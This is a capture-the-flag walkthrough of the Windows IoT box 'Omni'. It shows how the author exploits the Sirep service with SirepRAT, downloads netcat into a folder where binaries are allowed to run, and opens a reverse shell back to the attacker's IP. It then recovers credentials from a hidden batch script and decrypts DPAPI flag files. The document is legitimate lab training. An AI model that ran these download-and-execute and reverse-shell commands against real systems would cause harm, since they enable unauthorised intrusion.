Omni

Omni is an easy Windows IoT box by egre55.

Overview

The box starts with web-enumeration, where the authorization-prompt leaks information about the service we use to identify the OS-type (Windows IoT). Searching for an exploit, we find a RCE for the Windows IoT Core that we exploit to get a shell as a low-privilege user. Searching through the FS, we find a batch-script containing credentials for both user and administrator.

Using the credentials we can login to WDP (Windows Device Portal), which allows us to run commands in the context of that user. Using this feature, we can get a reverse-shell as user. This allows us to use PowerShell’s DPAPI command Import-CliXML to decrypt the encrypted user.txt flag.

In order to get root.txt, we simply repeat the steps of the previous paragraph (WDP login, command-execution and root.txt decryption.).

Information Gathering

Nmap

We begin our enumeration with a nmap scan for open ports.

root@darkness:~# nmap -sC -sV 10.10.10.204
Nmap scan report for 10.10.10.204
Host is up (0.17s latency).
Not shown: 998 filtered ports
PORT     STATE SERVICE VERSION
135/tcp  open  msrpc   Microsoft Windows RPC
8080/tcp open  upnp    Microsoft IIS httpd
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  Basic realm=Windows Device Portal
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Site doesn't have a title.
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Enumeration

The open ports shown are 135 (msrpc) and 8080 (http). MSRPC usually is not that interesting, so let enumerate port 8080.

HTTP - Port 8080

Going to http://10.10.10.204:8080, we get presented following auth-prompt.

Auth prompt

We now know that port 8080 is running Windows Device Portal (WDP). Let us use google to research Windows Device Portal.

Windows Device Portal enumeration

A google-search for Windows Device Portal lists two interesting microsoft docs:

Google-search results

Clicking on the first page, we can find a specification of WDP running in different installations.

WDP-specifications

As WDP is running on port 8080 on the target machine, we can assume that the device family is Windows IoT. Let us look for any publicly known exploits for WDP.

Exploit google-search

Searching for an exploit, SirepRAT (which is a RCE on Windows IoT Core) shows up as a result. As the target-system is probably running Windows IoT, this exploit is worth trying.

RCE on Windows IoT Core using SirepRAT

We can clone the repository and the tool using the instructions on the GitHub page.

Verifying code-execution

Let us run the exploit with the -h options to see how to use it.

root@darkness:~/SirepRAT# python3 SirepRAT.py -h
usage: SirepRAT.py target_device_ip command_type [options]

Exploit Windows IoT Core's Sirep service to execute remote commands on the device

positional arguments:
  target_device_ip      The IP address of the target IoT Core device
  command_type          The Sirep command to use. Available commands are listed below

optional arguments:
  -h, --help            show this help message and exit
  --return_output       Set to have the target device return the command output stream
  --cmd CMD             Program path to execute
  --as_logged_on_user   Set to impersonate currently logged on user on the target device
  --args ARGS           Arguments string for the program
  --base_directory BASE_DIRECTORY
                        The working directory from which to run the desired program
  --remote_path REMOTE_PATH
                        Path on target device
  --data DATA           Data string to write to file
  --v                   Verbose - if printable, print result
  --vv                  Very verbose - print socket buffers and more

available commands:
*       LaunchCommandWithOutput
*       PutFileOnDevice
*       GetFileFromDevice
*       GetFileInformationFromDevice
*       GetSystemInformationFromDevice

remarks:
-       Use moustaches to wrap remote environment variables to expand (e.g. )

Usage example: python SirepRAT.py 192.168.3.17 GetFileFromDevice --remote_path C:\Windows\System32\hostname.exe

Seems like we are able to read & write files, execute commands and get system-information using the exploit. Let us verify code-execution by listening for ICMP-packets and using the code-execution to trigger a ping-request.

root@darkness:~/SirepRAT# python3 SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --cmd "C:\Windows\System32\ping.exe" --args "-n 2 10.10.14.11" --return_output --v
---------

---------
---------

Pinging 10.10.14.11 with 32 bytes of data:
Reply from 10.10.14.11: bytes=32 time=230ms TTL=63

---------
---------
Reply from 10.10.14.11: bytes=32 time=367ms TTL=63

Ping statistics for 10.10.14.11:
    Packets: Sent = 2, Received = 2, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
    Minimum = 230ms, Maximum = 367ms, Average = 298ms

---------
---------

---------
<HResultResult | type: 1, payload length: 4, HResult: 0x0>
<OutputStreamResult | type: 11, payload length: 98, payload peek: 'b'\r\nPinging 10.10.14.11 with 32 bytes of data:\r\nRepl''>
<OutputStreamResult | type: 11, payload length: 249, payload peek: 'b'Reply from 10.10.14.11: bytes=32 time=367ms TTL=63''>
<ErrorStreamResult | type: 12, payload length: 4, payload peek: 'b'\x00\x00\x00\x00''>

The command executes successfully and we get a ping-response.

root@darkness:~# tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on tun0, link-type RAW (Raw IP), capture size 262144 bytes
13:29:40.828383 IP 10.10.10.204 > 10.10.14.11: ICMP echo request, id 1, seq 2740, length 40
13:29:40.828425 IP 10.10.14.11 > 10.10.10.204: ICMP echo reply, id 1, seq 2740, length 40
13:29:41.988513 IP 10.10.10.204 > 10.10.14.11: ICMP echo request, id 1, seq 2743, length 40
13:29:41.988557 IP 10.10.14.11 > 10.10.10.204: ICMP echo reply, id 1, seq 2743, length 40

Getting a shell

Now that we have successfully verified code-execution, let us try to get a reverse-shell.

For this we will have two stages:

  1. Downloading nc64.exe from our web-server
root@darkness:~# python3 SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --cmd "C:\Windows\System32\cmd.exe" --args "/c powershell IWR -uri http://10.10.14.11/nc64.exe -o C:\Windows\System32\spool\drivers\color\nc.exe"

We download nc64.exe to C:\Windows\System32\spool\drivers\color\ (which is a location whitelisted to allow binary-execution by default [related article]).

root@darkness:/usr/share/windows-binaries# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.204 - - [08/Jan/2021 13:45:46] "GET /nc64.exe HTTP/1.1" 200 -

The target successfully grabs nc64.exe for our webserver.

  1. Executing nc.exe and getting a reverse-shell
root@darkness:~/SirepRAT# python3 SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --cmd "C:\Windows\System32\cmd.exe" --args "/c C:\Windows\System32\spool\drivers\color\nc.exe 10.10.14.11 443 -e powershell.exe"

We execute nc.exe to send a reverse-shell to our machine.

root@darkness:~# nc -lvnp 443
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.10.10.204.
Ncat: Connection from 10.10.10.204:49672.
Windows PowerShell 
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\windows\system32>

We successfully execute the payload and get a reverse-shell in return. Let us check, which user we currently are using powershell (whoami is not available on Windows IoT by default).

PS C:\windows\system32> $env:UserName
omni$

Seems like we have a shell as the user omni.

Enumerating the system

Let us enumerate the system and find all necessary information. Let us start by searching for the Users directory.

PS C:\Data\Users> dir


    Directory: C:\Data\Users


Mode                LastWriteTime         Length Name                          
----                -------------         ------ ----                          
d-----         7/4/2020   9:48 PM                administrator                 
d-----         7/4/2020   9:53 PM                app                           
d-----         7/3/2020  11:22 PM                DefaultAccount                
d-----         7/3/2020  11:22 PM                DevToolsUser                  
d-r---        8/21/2020   1:55 PM                Public                        
d-----         7/4/2020  10:29 PM                System

The users directory can be found at C:\Data\Users.

PS C:\Data\Users\app> dir


    Directory: C:\Data\Users\app


Mode                LastWriteTime         Length Name                          
----                -------------         ------ ----                          
d-r---         7/4/2020   7:28 PM                3D Objects                    
d-r---         7/4/2020   7:28 PM                Documents                     
d-r---         7/4/2020   7:28 PM                Downloads                     
d-----         7/4/2020   7:28 PM                Favorites                     
d-r---         7/4/2020   7:28 PM                Music                         
d-r---         7/4/2020   7:28 PM                Pictures                      
d-r---         7/4/2020   7:28 PM                Videos                        
-ar---         7/4/2020   8:20 PM            344 hardening.txt                 
-ar---         7/4/2020   8:14 PM           1858 iot-admin.xml                 
-ar---         7/4/2020   9:53 PM           1958 user.txt

The directory of the user app contains both user.txt and two interesting files: hardening.txt and iot-admin.xml. Let us read those files.

PS C:\Data\Users\app> type hardening.txt
type : Access to the path 'C:\Data\Users\app\hardening.txt' is denied.
At line:1 char:1
+ type hardening.txt
+ ~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : PermissionDenied: (C:\Data\Users\app\hardening.t 
   xt:String) [Get-Content], UnauthorizedAccessException
    + FullyQualifiedErrorId : GetContentReaderUnauthorizedAccessError,Microsof 
   t.PowerShell.Commands.GetContentCommand

We do not have access to hardening.txt.

PS C:\Data\Users\app> type iot-admin.xml
<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
  <Obj RefId="0">
    <TN RefId="0">
      <T>System.Management.Automation.PSCredential</T>
      <T>System.Object</T>
    </TN>
    <ToString>System.Management.Automation.PSCredential</ToString>
    <Props>
      <S N="UserName">omni\administrator</S>
      <SS N="Password">01000000d08c9ddf0115d1118c7a00c04fc297eb010000009e131d78fe272140835db3caa28853640000000002000000000010660000000100002000000000855856bea37267a6f9b37f9ebad14e910d62feb252fdc98a48634d18ae4ebe000000000e80000000020000200000000648cd59a0cc43932e3382b5197a1928ce91e87321c0d3d785232371222f554830000000b6205d1abb57026bc339694e42094fd7ad366fe93cbdf1c8c8e72949f56d7e84e40b92e90df02d635088d789ae52c0d640000000403cfe531963fc59aa5e15115091f6daf994d1afb3c2643c945f2f4b8f15859703650f2747a60cf9e70b56b91cebfab773d0ca89a57553ea1040af3ea3085c27</SS>
    </Props>
  </Obj>
</Objs>
PS C:\Data\Users\app> type user.txt 
<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
  <Obj RefId="0">
    <TN RefId="0">
      <T>System.Management.Automation.PSCredential</T>
      <T>System.Object</T>
    </TN>
    <ToString>System.Management.Automation.PSCredential</ToString>
    <Props>
      <S N="UserName">flag</S>
      <SS N="Password">01000000d08c9ddf0115d1118c7a00c04fc297eb010000009e131d78fe272140835db3caa288536400000000020000000000106600000001000020000000ca1d29ad4939e04e514d26b9706a29aa403cc131a863dc57d7d69ef398e0731a000000000e8000000002000020000000eec9b13a75b6fd2ea6fd955909f9927dc2e77d41b19adde3951ff936d4a68ed750000000c6cb131e1a37a21b8eef7c34c053d034a3bf86efebefd8ff075f4e1f8cc00ec156fe26b4303047cee7764912eb6f85ee34a386293e78226a766a0e5d7b745a84b8f839dacee4fe6ffb6bb1cb53146c6340000000e3a43dfe678e3c6fc196e434106f1207e25c3b3b0ea37bd9e779cdd92bd44be23aaea507b6cf2b614c7c2e71d211990af0986d008a36c133c36f4da2f9406ae7</SS>
    </Props>
  </Obj>
</Objs>

Both iot-admin.xml and user.txt seem to be encrypted. Let us search the system for credentials.

Finding credentials

After a lot of searching, I eventually came across r.bat:

PS C:\Program Files\WindowsPowerShell\Modules\PackageManagement> dir -hidden


    Directory: C:\Program Files\WindowsPowerShell\Modules\PackageManagement


Mode                LastWriteTime         Length Name                          
----                -------------         ------ ----                          
-a-h--        8/21/2020  12:56 PM            247 r.bat

Let us take a look at this batch script.

PS C:\Program Files\WindowsPowerShell\Modules\PackageManagement> type r.bat
@echo off

:LOOP

for /F "skip=6" %%i in ('net localgroup "administrators"') do net localgroup "administrators" %%i /delete

net user app mesh5143
net user administrator _1nt3rn37ofTh1nGz

ping -n 3 127.0.0.1

cls

GOTO :LOOP

:EXIT

The script contains credentials for both the user app (mesh5143) and administrator (_1nt3rn37ofTh1nGz). With the auth-prompt from the beginning of our enumeration in mind, let us try these credentials.

Logging in to WDP

Let us try both app and administrator user.

Login as app

We successfully login and now have access to the WDP web-interface.

WDP web-interface

In the Processes tab, we can selected the Run command option. We can execute the same payload we used for our reverse-shell to get a shell as the user app.

Triggering reverse-shell

root@darkness:~# nc -lvnp 443
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.10.10.204.
Ncat: Connection from 10.10.10.204:49673.
Windows PowerShell 
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\windows\system32> $env:UserName
app

We successfully get a reverse-shell as the user app. We should now be able to read hardening.txt.

PS C:\Data\Users\App> type hardening.txt
- changed default administrator password of "p@ssw0rd"
- added firewall rules to restrict unnecessary services
- removed administrator account from "Ssh Users" group

Let us also now try to decrypt iot-admin.xml and user.txt.

Decrypting the xml files

Using google we can search for the decryption-type by simply searching for the first part of the file. (Google-search)

PS C:\Data\Users\App> type user.txt
<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
  <Obj RefId="0">
    <TN RefId="0">
      <T>System.Management.Automation.PSCredential</T>
      <T>System.Object</T>
    </TN>
    <ToString>System.Management.Automation.PSCredential</ToString>
    <Props>
[...]

The search leads us to this article, explaining that the files are decrypted using PowerShell’s DPAPI (data protection API). Luckily decrypting is made rather easy using the Import-CliXML command.

PS C:\Data\Users\App> $cred = Import-CliXML -path C:\Data\Users\App\user.txt
PS C:\Data\Users\App> $cred.GetNetworkCredential().password
7cfd5***************************

We successfully decrypt user.txt and can read the flag.

Let us also read iot-admin.xml:

PS C:\Data\Users\App> $cred = Import-CliXML -path C:\Data\Users\App\iot-admin.xml
PS C:\Data\Users\App> $cred.GetNetworkCredential().password
_1nt3rn37ofTh1nGz

We get the password of the admin user. However, as we already know the password from the r.bat file, this is no new information for us.

Getting root-shell

In order to get root (and root.txt), we simply redo our previous steps with the admin user instead of the app user.

WDP login as administrator

First, we login to WDP using the credentials of the administrator.

WDP login using admin-creds

After successful login, we execute our reverse-shell payload.

Triggering reverse-shell

root@darkness:~# nc -lvnp 443
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.10.10.204.
Ncat: Connection from 10.10.10.204:49675.
Windows PowerShell 
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\windows\system32> $env:UserName
Administrator

We successfully get a shell as administrator.

Decrypting root.txt

After getting a shell, we have to repeat the xml-decryption step to get root.txt.

PS C:\Data\Users\administrator> $cred = Import-CliXML -path C:\Data\Users\administrator\root.txt
PS C:\Data\Users\administrator> $cred.GetNetworkCredential().password
5dbdc***************************

We successfully decrypted root.txt and get the flag.